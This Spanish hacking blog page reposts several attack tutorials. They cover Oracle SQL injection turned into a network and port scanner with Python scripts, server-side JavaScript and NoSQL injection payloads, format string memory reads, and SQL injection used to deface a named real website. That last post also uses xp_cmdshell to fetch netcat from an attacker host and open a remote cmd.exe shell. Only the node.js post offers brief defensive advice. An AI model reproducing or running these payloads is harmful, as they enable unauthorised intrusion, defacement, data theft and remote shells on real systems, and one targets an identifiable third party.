Banner 1

Mostrando entradas con la etiqueta inyeccion. Mostrar todas las entradas
Mostrando entradas con la etiqueta inyeccion. Mostrar todas las entradas

De una inyección SQL a un escáner de red

0 comentarios
Hace poco, haciendo una auditoría web, encontré un parámetro que era vulnerable a SQL injection.

Tras un pequeño análisis, identifiqué que se trataba de un servidor Oracle y que no iba a ser fácil extraer información de la base de datos porque se ve que la inyección debía de estar en la llamada a un procedimiento almacenado.

Algo así como:

procedimiento_almacenado (parámetro_vulnerable);

Oracle, en esta sintaxis, no permite añadir consultas del tipo SELECT, así que realizar las típicas inyecciones para determinar el usuario de la base de datos, el nombre de ésta, qué tablas las forman... no iba a funcionar.

Tras probar muchas cosas, vi que sí que podía utilizar variables SYS_CONTEXT para recuperar variables del sistema relativas a la configuración ya que, aunque no podía hacer un:

SELECT user from DUAL;

Sí que podía (ojo, era una inyección de tipo numérico):

55 - (ASCII (SUBSTR (user,1,1)) - ASCII('U') )

O, del mismo modo:

55 - (ASCII (SUBSTR (SYS_CONTEXT('USERENV', 'CURRENT_USER'), 1, 1)) - ASCII('U') )

Con esto, no tenía acceso a los datos de la base de datos en sí, pero obtuve información principalmente relacionada con el entorno Oracle como usuarios, dirección IP del servidor, tipo de autenticación utilizada...

Ya estaba a punto de desesperarme y decidir que no podía llegar mucho más allá cuando me acordé de los procedimientos almacenados de los que os hablé en la entrada anterior: UTL_HTTP y UTL_INADDR.

Así que pensé: ¿qué pasará si digo de utilizar UTL_HTTP para acceder a otros puertos del servidor para intentar determinar si están o no abiertos? Algo en plan:
  • http://10.0.2.51:22
  • http://10.0.2.51:80
  • http://10.0.2.51:443
  • http://10.0.2.51:8080
  • http://10.0.2.51:1521
  • ...
Imaginad mi sorpresa cuando veo que efectivamente funcionaba. Es más, Oracle era tan bondadoso que me decía claramente si el puerto estaba o no abierto:

  • Error cuando el puerto estaba abierto:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP",
line 1722 ORA-29263: HTTP protocol error ORA-06512: at line 1 at [...]

  • Error cuando el puerto estaba cerrado:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP",
line 1722 ORA-12541: TNS:no listener ORA-06512: at line 1 at [...]


Creo que la siguiente pregunta que me hice es evidente... ¿Y si escaneo otros hosts de la red? Pues exactamente igual. En este caso, lo que hice fue siempre preguntar por el puerto 22 y observé las respuestas:

  • Cuando no existía el host:
java.sql.SQLException: ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1722 ORA-12543: TNS:destination host unreachable ORA-06512: at line 1 at [...]

Cuando existía el host en la red, el error que devolvía era alguno de los dos errores asociados a si el puerto estaba o no abierto.

Así que cogí y en un rato me hice mi propio escáner de puertos a través del SQLi que había encontrado. Éste es el resultado que puede servir como prueba de concepto:

Escaneo de red:

import requests

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

i = 0

for i in range(254):
r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://10.0.2.%s:22/')) )" % str(i+1), cookies=cookies, headers=headers )

if not "destination host unreachable" in r.text:
print "Alive: 10.0.2.%s" % str(i+1)

Este script se ejecutará directamente:

$ python network_scan.py

Escaneo de puertos:

import requests
import sys

cookies = { "JSESSIONID" : "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" }
headers = { "Content-Type" : "application/x-www-form-urlencoded"}

topports = (26, 554, 32768, 8000, 8443, 2000, 1026, 179, 5060, 514, 10000, 6001, 81, 113, 548, 465, 1720, 199, 8888, 587, 1025, 5900, 993, 995, 111, 1723, 8080, 3306, 135, 53, 143, 139, 445, 110, 3389, 25, 22, 21, 443, 23, 80, 37, 119, 9100, 4899, 2717, 1755, 873, 1028, 49157, 5051, 6646, 9, 1029, 13, 1900, 3986, 5432, 3000, 5190, 7070, 5009, 9999, 444, 3128, 8009, 389, 7, 144, 5101, 544, 543, 49156, 427, 5357, 990, 513, 6000, 49155, 1110, 2121, 106, 5800, 79, 88, 2049, 8081, 49153, 631, 5631, 5000, 646, 5666, 1027, 49154, 8008, 515, 2001, 49152, 1433)

i = 0

for i in topports:
r = requests.post ("http://www.example.com/vulnerable_page", "parametro_vulnerable=55 - (length (utl_http.request('http://%s:%s/')) )" % ( sys.argv[1], str(i)), cookies=cookies, headers=headers )

if not "no listener" in r.text:
print "Open port: %s" % str(i)

Este script, recibe la dirección IP a escanear como entrada. Por ejemplo:

$ python port_scan.py 10.0.2.51

Y de este modo conseguí que una vulnerabilidad que no hubiera pasado ni pena ni gloria, se convirtiera en algo interesante. Es más, con más tiempo podría haber intentado acceder a otros de los servicios que encontré abiertos (entre ellos un JBoss en un puerto 8080).

Para ver un poco mejor el post , ir a la fuente:
http://laxmarcaellugar.blogspot.com/2014/03/de-una-inyeccion-sql-un-escaner-de-red.html

Server-Side JavaScript Injection en node.js y NoSQL

0 comentarios
Antecedentes: XSS

XSS es un acrónimo conocido en el entorno web. XSS significa Cross-Site Scripting, y es un mecanismo por el que se ejecuta código javascript arbitrario en un navegador que está visitando otro dominio. Esto supone una vulnerabilidad muy importante, por la que los "malos" son capaces de robar sesiones y suplantar identidades en las aplicaciones web afectadas (mediante el robo de información de cookies de sesión del navegador), pueden hacer phishing (introduciendo en el portal afectado pantallas de login que permita captura credenciales), captura de teclado, etc. Según la Open Web Application Security Project (OWASP), los ataques XSS suponen la segunda amenaza más importante en aplicaciones web (justo por debajo de inyecciones de SQL).

La vulnerabilidad es, además, demasiado común, con un porcentaje muy alto de sitios de internet que están afectados. Una de las razones de esta proliferación de la vulnerabilidad a XSS es que resulta muy sencillo introducirla accidentalmente. Pongamos el siguiente ejemplo de código que se utiliza para obtener la cotización de un valor:

1
2
3
4
5
6
7
8
9
10
11
12
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
  if ((xhr.readyState == 4) && (xhr.status == 200)) {
    var informacionValor = eval('(' + xhr.responseText + ')');
    alert('La cotización actual de ' + informacionValor.nombre +
            ' es $' + informacionValor.cotizacion + '€');     
    }
  }
  function realizarPeticion(ticker) {
    xhr.open("POST","servicio_cotizacion",true);
    xhr.send("{\"ticker\" : \"" + ticker + "\"}");
  }

El código parece bastante directo, pero la llamada a eval está introduciendo una vulnerabilidad potencial. Si un atacante fuese capaz de manipular la respuesta del servicio de cotización, podría inyectar código arbitrario mediante la llamada a eval, que ejecutaría el código en el contexto del navegador de la víctima. El ataque podría en ese momento extraer información de autenticación, cookies de session, manipular el dom para inducir al usuario a introducir datos, activar un keylogger, o utilizar el navegador para realizar peticiones arbitrarias al servidor del dominio como si fuese el usuario, etc.

Un nuevo vector de ataque: Server-Side Javascript Injection

Analicemos ahora un pedazo de código de javascript parecido. Está diseñado para leer peticiones JSON,  con la diferencia de que en este caso se ejecutará en el contexto de un servidor web con node.js.

1
2
3
4
5
6
7
8
9
10
11
12
13
var http = require('http');
http.createServer(function (request, response) {
  if (request.method === 'POST') {
    
  var data = '';
  request.addListener('data', function(chunk) {
       data += chunk; });
    
  request.addListener('end', function() {
  var informacionValor = eval("(" + data + ")");
   recuperaCotizacionValor(informacionValor.ticker);
   
});

La misma línea de código (ejecutar eval sobre los datos recibidos)  es la responsable de la vulnerabilidad frente a inyección de código en estas líneas y en el ejemplo de XSS. Sin embargo, en este caso los efectos son mucho más graves que la pérdida de las cookes de la víctima.

Para ilustradlo, veamos primero un mensaje legítimo, no malicioso. Podría ser como el siguiente:
1
{"ticker" : "SAN"}

La llamada a eval interpreta la siguiente línea:
1
({"ticker" : "SAN"})

Nada impide al atacante enviar su propio código javascript para que se evalúe en servidor:
1
response.end("success")

El código de servidor ejecutaría el comando inyectado y devolvería el texto "success" como el cuerpo de la respuesta HTTP. Sin un atacante envía esta request para probar el sistema y recibe "success" como respuesta, sabrá que el servidor puede ejecutar código javascript arbitrario, y entonces puede proceder a ataques más dañinos.

Denegación de servicio
Un ataque efectivo y sencillo de denegación de servicio se puede ejecutar simplemente enviando el comando:
1
while(1)

Este ataque hará que el servidor afectado use el 100% de su tiempo de procesador en procesar un bucle infinito. El servidor se colgará y será incapaz de procesar ninguna otra petición hasta que el administrador manualmente reinicie el proceso. Este ataque de DoS es tremendamente asimétrico, puesto que el atacante no tiene que ahogar al servidor con millones de peticiones; una única y diminuta petición hace todo el trabajo.

Otra alternativa de ataque DoS sería sencillamente salir o matar el proceso:
?
1
2
process.exit()
process.kill(process.pid)

Acceso al file system

Otro objetivo potencial de los atacantes es leer los contenidos de ficheros del sistema local. Node.js y muchas bases de natos NoSQL como CouchDB, usa la API CommonJS. El acceso al file system se soporta importando el módulo "fs" (mediante la instrucción require):

1
var fs = require('fs');

En cualquier momento de la ejecución se pueden agregar módulos, de manera que aunque el script originalmente no incluyese la referencia el módulo, el atacante puede agregar la funcionalidad simplemente incluyendo la instrucción require adecuada junto con el código de ataque.

Los siguientes ataques listarían los contenidos del directorio actual y superior respectivamente:

1
2
response.end(require('fs').readdirSync('.').toString())
response.end(require('fs').readdirSync('..').toString())

A partir de aquí, es bastante sencillo reconstruir la estructura completa del sistema de ficheros. Para acceder a los contenidos de un fichero sería tan sencillo como:

1
response.end(require('fs').readFileSync(filename))

La cosa resulta más grave, puesto que el atacante no solo puede leer los contenidos de los ficheros sino que puede escribir también. El siguiente ataque inserta la cadena "//hackeado!" al principio del fichero actualmente ejecutado (lógicamente, se pueden realizar cosas peores).

1
2
3
var fs = require('fs');
var ficheroActual = process.argv[1];
fs.writeFileSync(ficheroActual, '//hackeado!\n' + fs.readFileSync(ficheroActual));


Por último, señalaré que es posible crear ficheros arbitrarios en el servidor objetivo, incluidos ficheros ejecutables:

1
require('fs').writeFileSync(nombrefichero,data,'base64');

donde nombrefichero es el nombre del fichero resultante (por ejemplo, "foo.exe") y data sería el contenido del fichero codificado en base-64. El atacante ya solo necesitará ejecutar este fichero, como ilustraré a continuación.

Ejecución de ficheros binarios

Una vez que el atacante puede escribir ficheros binarios en el servidor, necesita ejecutarlos. Una inyección de javascript como la siguiente ilustra como puede hacerlo:

1
require('child_process').spawn(nombrefichero);

A partir de este punto, los límites del atacante están en su imaginación.

Inyección NoSQL
Las vulnerabilidades de inyección de código javascript no están limitadas solo a llamadas de eval dentro de scripts de node.js. Los motores de bases de datos NoSQL que procesen código javascript  también pueden ser vulnerables. Por ejemplo, MongoDB soporta el uso de funciones de javascript en las query y en operaciones de map/reduce. Puesto que las bases de datos MongoDB (igual que otras NoSQL) no tienen definidos esquemas estrictos, los desarrolladores pueden utilizar código javascript para realizar querys arbitrariamente complejas que consulten estructuras de documentos dispares.

Por ejemplo, supongamos que tenemos una collección de MongoDB que contiene documentos que representan libros, otros que representan peliculas y otros que representan libros. Esta query en javascript seleccionará todos los documentos de cada una de las colecciones que fuesen escritos, rodados o grabados en el año especificado:


1
2
3
4
5
6
7
function() {
  var anio_busqueda = input_value;
  return this.anioPublicacion == anio_busqueda||
         this.anioRodaje == anio_busqueda||
         this.anioGrabacion == anio_busqueda;
}

Si la aplicación estuviese programada en PHP el código fuente podría parecerse al siguiente:


1
2
3
4
5
6
7
8
$query = 'function() { '.
         '  var search_year = \'' . $_GET['anio'] . '\';' .
         '  return this.anioPublicacion == anio_busqueda || ' .
         '         this.anioRodaje == search_year || ' .
         '         this.anioGrabacion == search_year; ' .
         '}';
$cursor = $collection->find(array('$where' => $query));

Este código utiliza el parámetro "anio" de la petición como el parámetro de búsqueda. Al igual que en la vulnerabilidad tradicional de inyección de SQL, cuando la query se realiza de manera ad-hoc, es decir, concatenando la query directamente con el input del usuario, el código es vulnerable a un ataque de inyección de código de javascript en servidor. Este ejemplo sería un ataque bastante efectivo de denegación de servicio DoS contra el sistema
http://server/app.php?anio=1995';while(1);var%20foo='bar

Inyección NoSQL ciega
Otro posible vector de ataque cuando se utilizan inyecciones SSJS contra bases de datos NoSQL es el uso de injecciones ciegas NoSQL para extraer los contenidos la base de datos. Para demostrar como funciona este ataque continuaré con el ejemplo de MongoDB utilizado anteriormente.

Para ejecutar un ataque de inyección ciego, el ataque necesita determinar la diferencia entre una condición verdadera y otra falsa en el servidor. Esto es trivial con una inyección SSJS, más incluso que con la clásica inyección sql “OR 1=1” :
http://server/app.php?anio=1995';return(true);var%20foo='bar
http://server/app.php?anio=1995';return(false);var%20foo='bar

Si existe alguna diferencia entre las respuestas de estas dos inyecciones, entonces el atacante solo necesita realizar preguntas del tipo cierto/falso, y con un número suficiente de preguntas será capaz de extraer todos los contenidos de la base de datos. Veámoslo.

La primera pregunta que hay que responder es cuantas colecciones existen en la base de datos, o más preciesamente, si hay exactamente una colección en la base de datos, o si hay exactamente dos colecciones, etc:

1
2
3
return(db.getCollectionNames().length == 1);
return(db.getCollectionNames().length == 2);

Una vez que el atacante ha establecido cuantas colecciones existen, el siguiente paso será obtener sus nombres. Se chequeará cada nombre de colección en el array, primero para determinar la longitud del nombre y después para el nombre mismo, probando un carácter cada vez:

1
2
3
4
5
return(db.getCollectionNames()[0].length == 1);
return(db.getCollectionNames()[0].length == 2);
return(db.getCollectionNames()[0][0] == 'a');
return(db.getCollectionNames()[0][0] == 'b');

Una vez que se han extraido los nombres de las colecciones, el siguiente paso consiste en recuperar la colección de datos. De nuevo, lo primero que el atacante necesita hacer es determinar cuantos documentos hay en cada colección. Si el nombre de la primera colección fuese "foo":

1
2
3
return(db.foo.find().length == 1);
return(db.foo.find().length == 2);

En un ataque SQL ciego tradicional, el siguiente paso sería determinar la estructura de columnas de cada tabla. Sin embargo, este concepto de de estructura de columnas no tiene sentido en documentos NoSQL, que carecen de un esquema común. Cada documento en una colección puede tener una estructura distinta del resto de documentos. Sin embargo, este hecho no impide la extraccción de los contenidos de la base de datos. El atacante simplemente llamaría al método "tojsononeline" (http://api.mongodb.org/js/1.5.3/symbols/_global_.html#tojsononeline)  para devolver el documento como un string de JSON, calcular su longitud  y extraer un carácter cada vez:

1
2
3
4
5
6
return(tojsononeline(db.foo.find()[0]).length == 1);
return(tojsononeline(db.foo.find()[0]).length == 2);
return(tojsononeline(db.foo.find()[0])[0] == 'a');
return(tojsononeline(db.foo.find()[0])[0] == 'b');

Al final, con este método se recuperarían todos los contenidos de cada documento de cada colección en la base de datos.

Conclusiones y prevención

En los ejemplos anteriores, se ha visto que la vulnerabilidad de inyección de javascript en servidor se parece más a las técnicas tradicionales de inyección de SQL que a las de cross-site scripting. Las inyecciones de SSJS no necesitan de la ingeniería social de una víctima intermedia de la forma que se hace habitualmente con XSS, sino que el ataque se realiza directamente con peticiones HTTP arbitrarias. Por este motivo los mecanismos de defensa son similares de los de inyecciones de SQL:
  • Evitar generar comandos de javascript "ad-hoc" mediante la concatencación de script con datos de proporcionados por el usuario.
  • Validar los datos del usuario en comandos SSJS con expresiones regulares.
  • Evitar el uso del comando eval. En particular, al parsear JSON, usar alternativas mucho más seguras como JSON.parse.
NOTA: Si el post presenta problemas al ver el código, deben remitir a la fuente para ver mejor :)

Fuente: http://www.aprendiendonodejs.com/2011/12/server-side-javascript-injection-en.html

Introducción a Format String Attack I de III

0 comentarios
A medida de que hpys vayan actualizando ire compartiendo esta gran entrada.

Serie de entradas que servirán de ejemplo para explicar los Format String Attack.
  • Format String Attack I de III
  • Format String Attack II de III
  • Format String Attack III de III

Introducción


Los Format String son simples cadenas, caracterizadas por el formato que se les aplica. Si has programado anteriormente en cualquier lenguaje estarás familiarizado con la función printf().

Dicha función toma como primer parámetro la cadena a mostrar, y una serie de variables que permiten formatear la salida por stdout.

Los formatos más comunes que se pueden utilizar son:
  • %d Formato de enteros.
  • %i Formato de enteros (igual que %d).
  • %f Formato de punto flotante.
  • %u Formato sin signo.
  • %x Formato hexadecimal.
  • %p Muestra el correspondiente valor del puntero.
  • %c Formato de carácter

Format String Vulnerability


La vulnerabilidad viene por el mal uso que se la da a la función printf, cuando un programador la utiliza como printf(cadena) en lugar de printf("%s", cadena). Aunque el resultado devuelto es el mismo y funciona correctamente.

La omisión del parámetro de formateado deriva en un bug que podría ser aprovechado por un atacante para provocar la ejecución de código malicioso.

Veamos un ejemplo
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example prueba.
Correcto: prueba.
Incorrecto: prueba.
(-) Valor @ 0x0804a024 = 50 0x00000032
Funciona perfectamente, y el programador en ningún momento advierte ningún fallo, pero si hacemos la misma prueba pasándole un format string como parámetro concatenado a la cadena obtenemos lo siguiente:

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x

Correcto: BBBB%x
Incorrecto: BBBBbfa675ee
(-) Valor @ 0x0804a024 = 50 0x00000032

La familia de funciones format


Hay una serie de funciones de formato definidas en el ANSI C, algunas utilizadas para cubrir necesidades básicas y otras más complejas basadas en estas primeras, que si bien no entran dentro del estándar, si están disponibles para su uso.

Funciones básicas:
  • printf Imprime el flujo 'stdout'.
  • fprintf Imprime el flujo de un fichero.
  • sprintf Imprime en una cadena.
  • snprintf Imprime en una cadena comprobando la longitud.
  • vprintf Imprime en 'stdout' desde una estructura va_arg.
  • vfprintf Imprime en un fichero desde una estructura va_arg.
  • vsprintf Imprime en una cadena desde una estructura va_arg.
  • vsnprintf Imprime en una cadena comprobando la longitud desde una estructura va_arg.
Otras:
  • syslog, verr*, err*, vwarn*, warn*, setproctile

La pila y su funcionamiento


El comportamiento de la función de formato es controlado por el format string. Recuperando los parámetros solicitados desde la pila.

Así:
printf("Número %d sin dirección, número %d con dirección: %08x\n", i, a, &a);
El aspecto de la pila para la instrucción anterior es el siguiente:
Donde:
  • A Dirección de la cadena.
  • i Valor de la variable i.
  • a Valor de la variable a.
  • &a Dirección de la variable a.
La función de formato parseará la cadena A, leyendo carácter a carácter y copiándolo en la salida mientras que este no sea '%'. En el momento de encontrarlo el carácter a continuación de '%', especificará el tipo de parámetro a evaluar.

La cadena '%%' se comporta de forma especial, y permite imprimir a la salida el carácter '%'. Los otros parámetros se relacionan con el resto de datos alojados en la pila.

Leyendo direcciones de memoria


Cuando usamos el formato %x estamos obligando a que nos muestre por stdout la representación de una palabra de 4-byte en la pila.

Si queremos conocer la dirección que apunta al string que hemos introducido, deberemos introducir varios formatos de cadena hasta obtener el valor hexadecimal de esta.
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x

Correcto:
BBBB%x%x%x%x%x
Incorrecto:
BBBBbffb85e60000
(-) Valor @ 0x0804a024 = 50 0x00000032
Probando un poco más
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example BBBB%x%x%x%x%x%x%x%x%x%x%x%x

Correcto:
BBBB%x%x%x%x%x%x%x%x%x%x%x%x
Incorrecto:
BBBBbfd6f5d80000b78cc0000bfd6f44400042424242
(-) Valor @ 0x0804a024 = 50 0x00000032
Los cuatro bytes de 0x42 indican que el duodécimo parámetro de formato está leyendo del principio de la cadena de formato para obtener sus datos

Pero si una dirección de memoria válida es usada, este proceso se puede usar para leer un string que se encuentre en esa dirección.

Como ejemplo vamos a utilizar la función getenv() de C, que nos devuelve un string con el contenido de la variable de entorno que le hemos pasado como parámetro. Nosotros vamos a servirnos de esto para conocer la dirección de memoria donde se encuentra, y así demostrar cómo leer los datos que se encuentran en una posición válida.

El código de uso para getenv() es el siguiente
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ gcc getenvaddr.c -o getenvaddr
Vamos a localizar la dirección de la variable LOGNAME que contiene el usuario con el que nos logueamos en la máquina.

sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ echo $LOGNAME
sebas
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./getenvaddr LOGNAME
LOGNAME está localizada en 0xbfa07e44
Ahora sabemos que la cadena "sebas" está almacenada en la dirección 0xbfa07e44. Usemos el format string %x y %s con localización exacta para obtener el valor.
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%s

Correcto:
D~��%x%x%x%x%x%x%x%x%x%x%x->%s
Incorrecto:
D~��bf92d5d60000b780d0000bf92c874000->sebas
(-) Valor @ 0x0804a024 = 50 0x00000032
sebas@Penetraitor:~/roote/Universidad/PFC/lab/string-attack$ ./fst_example `printf "\x44\x7e\xa0\xbf"`%x%x%x%x%x%x%x%x%x%x%x"->"%x

Correcto:
D~��%x%x%x%x%x%x%x%x%x%x%x->%x
Incorrecto:
D~��bf9615d60000b77530000bf95fd74000->bfa07e44
(-) Valor @ 0x0804a024 = 50 0x00000032
En la siguiente entrada veremos cómo escribir en direcciones de memoria y algunos trucos para ello.


Fuente: http://www.hackplayers.com/2010/12/introduccion-format-string-attack-i-de.html#more

Como hackear 6 (sql injection y defaces)

3 comentarios

Un articulo muy interezante que encontre , al final dejo el link saludos

//////////////////////////////////////////////////////////////////////////////////////

Bien, hacia tiempo que no sacaba una nueva entrega del curso…siento el retraso..

ia sabeis k a mi los problemas personales me llueven…pero sobrevivo…en fin

se meh a ocurrido que seria interesante explicar una tecnica que muchos creen que no sirve de muchos mas que hackear foros phpbb, i con la cual, ya he sacado shell en sistemas, defaceado webs tan importantes como la del govierno de mi pais etc…

sql injection, pero k es?

vereis, voi a tratar de explicar en que consisten los sql injection…durante el manual me voi a referir a paginas en asp con una base de datos MSSQL.

los sql injection son un bug que permite que un usuario malintencionado (nosotros) realize consultas a la base de datos de la pagina vulnerable.

el problema reside en k muchos MSSQL corren con permisos de sistema (la famosa cuenta SA de MSSQL tiene permisos de sistema y es la cuenta por defecto, suena bien no?)

asi que veamos…como saber si una web es vulnerable a sql injection?

bueno, no suelo hacer los ejemplos con paginas reales, pero esta vez voi a hacer una excepcion i asi entendereis mejor la tecnica, si cuando leais el articulo ia no es vulnerable, buscad paginas parecidas.

http://www.compolaser.com/

hace unos dias entre a esta web, i me dije: voi a hacer algo aki…
el problema era k no parecia muy vulnerable, cuakiera hubiese sacado su nmap o su nessus i se hubiese puesto a escanear, sin embargo se me ocurrio algo distinto…
por k no pruebo con webhack? (hackeo a la web i no al server, por ejemplo el cross site scripting, k lo vimos en la entrega anterior)

asi k vi k havia una seccion noticias…i k recivia un dato a traves de la url…

http://www.compolaser.com/Noticias.asp?Id=54

donde 54 es el numero de la noticia…una vez vi esto ia me di cuenta que seguro k esta web tenia una base de datos i k usaba IIS i seguramente mssql, asi k probé:

http://www.compolaser.com/Noticias.asp?Id=’

i sucedio lo siguiente:
QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

Comilla no cerrada antes de la cadena de caracteres ‘ ORDER BY fecha DESC;’.

/Noticias.asp, line 24

wou! tenemos un sql injection en esta pagina…pero como lo se?

vereis, la pagina lo que ha echo es:

Select * from Noticias where id = ID ORDER BY fecha DESC

seria algo parecido a esto, ID representa el numerito que le pasamos por la url

(en sql el caracter ‘ delimita el principio o el final de una cadena)

cuando nosotros hicimos:

http://www.compolaser.com/Noticias.asp?Id=’

la sentencia final kedo asi:

Select * from Noticias where id = ‘ ORDER BY fecha DESC

aki falla algo verdad? SIEMPRE k se habre una comilla hay k cerrarla, de ahi el error que dice que no cerramos la comilla…

bueno…esto nos lleva a pensar…ostia, podemos modificar la sentencia? entonces podemos alterar la base de datos no? la respuesta es si.

veamos…lo primero que deberiamos hacer es averiguar como se estructura la base de datos, es decir:

como se llama la tabla que contiene informacion de las noticias?

y que registros tiene?

bien, solo se trata de hacer las preguntas correctas:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

esto provocara un error en mssql que nos desvelara que la tabla se llama:

Noticias

y que el primer registro es: id

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

La columna ‘noticias.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

/Noticias.asp, line 24

interesante…si kereis saber por k ocurre esto, buscad lo k hace el comando having wink.gif

el “–” al final lo ponemos para k piense k lo k sigue es un comentario en el codigo (igual k en C los comentarios son: //)

seguimos desvelando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

hemos echo:

group by Noticias.id having 1=1–

por k Noticias.id? por k es el primer registro…

seguimos averiguando:

http://www.compolaser.com/Noticias.asp?Id=…0having%201=1–

bueno, parece que aki nos dan toda la informaicon que queremos, hay un segundo registro llamado:

noticias.Resumen

QUOTE
Microsoft OLE DB Provider for SQL Server error ‘80040e14′

La columna ‘noticias.Resumen’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

/Noticias.asp, line 24

podriamos ir sacando mas i mas registros asi:

group by noticias.id, noticias.titulo having 1=1–

i asi, añadiendo con comas lo k nos va diciendo, llegariamos al final…pero de momento nos conformamos con modificar el titulo, pero como modificamos Noticias.titulo?

bueno pues hay un comando en sql llamado update que modifica el contenido de un registro de una tabla, se usa asi:

update tabla set registro=’nuevo valor’

pues bien, es facil saber que hacer ahora:

update noticias set titulo = ‘hackeados por jocanor’

i como hay k hacer k el resto sea un comentario:

update noticias set titulo = ‘hackeados por jocanor’–

asi k la sentencia final seria:

http://www.compolaser.com/Noticias.asp?Id=…0jocanor’–

y tachan tachan! si entrais a:

http://www.compolaser.com/Noticias.asp

vereis k todos los registros noticias.titulo han sido defaceados xD

como sacar shell con sql injection?

esto es una tecnica avanzada i k no funciona siempre, pero puede funcionar…

vereis, mssql tiene unos scripts para ejecutar cosas etc…asi k jugaremos con uno de esos scripts, para ejecutar cualkier comando de ms-dos:

; exec master..xp_cmdshell ‘ping 10.10.1.2′–

esto haria un ping a 10.10.1.2.

asi k sacar shell es tan facil como poner en nuestra makina (supongamos k nuestra makina es 1.2.3.4) un servidor tftp con un archivo llamado nc.exe (un netcat)

hacemos:

exec master..xp_cmdshell ‘tftp -i 1.2.3.4 get nc.exe C:nc.exe’–

exec master..xp_cmdshell ‘c:nc.exe –l –p 8000 –e cmd.exe’ –-

ahora abrimos telnet a la makian victima en el puerto 8000 y tenemos una shell biggrin.gif

bueno, este articulo era de nivel avanzado, lo siento por los muy newbies, pero la gente con nivel medio me pedia k pusiera algo interesante i de nivel, la proxima entrega sera para los principiantes, lo prometo.


FUENTE:http://allabouthack.wordpress.com/2007/11/01/como-hackear-6-sql-injection-y-defaces/

Inyeccion SQL desde 0

1 comentarios

Me encontre este tutorial muy bueno espero que lo disfruten:

Wenas.
aqui explicare a iniciarse en las inyecciones SQL a través de variables de tipo GET. La idea me ha surgido al empezar a introducir a Plaga al divertido mundo de las vulnerabilidades.

Tras leerse y aprender lo que se va a exponer en este pequeño tutorial/manual podreis manejaros un poco más en el uso de las SQL Injection, una vulnerabilidad que cada día se extiende más. Nosotros nos vamos a basar en usar el método de ir probando y obteniendo errores, de los cuales sacaremos información jugosa.

Primeros pasos:sacando la tabla

Bien, para empezar necesitamos encontrar alguna web que potencialmente pudiera (no lo sabemos todavía) tener algún script del tipo “noticias.asp?ID=”, “artículos.php?view=” vulnerable.
———————————————————————————————–
Consejo:es recomendable tener un block de notas abierto para ir escribiendo los resultados de las inyecciones, ya que a la hora de construir PoC o trabajar con la info extraida, viene bastante bien tener todo organizado.
————————————————————————————————

La inyección la introducimos en variables de tipo GET. ¿Qué son estas variables? Resumiendo muy mucho,,podemos decir que son aquellas variables que se introducen a través de la URL.
Vamos a utilizar un ejemplo imaginario. Estamos viendo una web, y nos encontramos con un link tipo “www.paginafals a.com/index.asp?profile=47″. Para comprobar si es vulnerable comenzamos por poner’. Con ‘ indicamos la finalización de una sentencia SQL. Nuestro código malicioso será ‘ having 1=1–. El “–” sirve para que sean ignoradas todas las sentecias que venga detrás, equivale al “#” en perl o al //, /*, etc de otros lenguajes. En el caso del ejemplo imaginario, nos debería de “vomitar” la web un error del estilo de:

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.Id’ de la lista de selección no es válida, porque no está contenida en una función de agregado y no hay cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

Bien no os alarmais, de aquí lo único que nos interesa es Datos.Id. “Datos” es el nombre de la tabla en la que estamos operando, y “Id” es el nombre del campo. Sería aconsejable hechar un pequeño vistazo a algún manual de manejo de DBs para comprender su estructura. En estos campos será donde se encuentre contenida la información que maneja la DB de la web que estamos “atacando”. Ahora imprescindible agarrar el notepad y ponen “NOMBRE TABLA: Datos” y despues en otra línea “Campos: 1º Id”.

Le ponesmos “1º” porque los campos se encuentran ordenados dentro de la DB y éste orden es imprescindible a la hora de construir las sentencias.

Sacando los campos de la tabla

Ahora si recopilamos la información que deberíamos de tener en nuestro notepad, podemos ver que ya tenemos el nombre de la tabla (Datos) y el primero campo (Id). Pero bien, ahora necesitamos sacar el resto de campos que componen la tabla Datos. ¿Para qué? Pues para conocer la estructura sobre la que estamos trabajando, ya que posteriores inyecciones necesitarán basarse en la info que vayamos obteniendo, a parte, el nombre de los campos nos darán una pista sobre donde puede haber la información que andamos buscando (una tabla que se llame passwords, tiene un altísimo, de un 98%, de que contenga passwords, y si encima hay otra columna con users, el trabajo lo tienes servido).

Para poder ir sacando los campos en orden, nos valdremos de la siguiente inyección:

‘ GROUP BY Datos.Id having 1=1–

¿y qué es lo que nos vomita la web?

Microsoft OLE DB Provider for ODBC Drivers error ‘80040e14′

[Microsoft][ODBC SQL Server Driver][SQL Server]La columna ‘Datos.clientes’ de la lista de selección no es válida, porque no está contenida en una función de agregado ni en la cláusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, línea 4

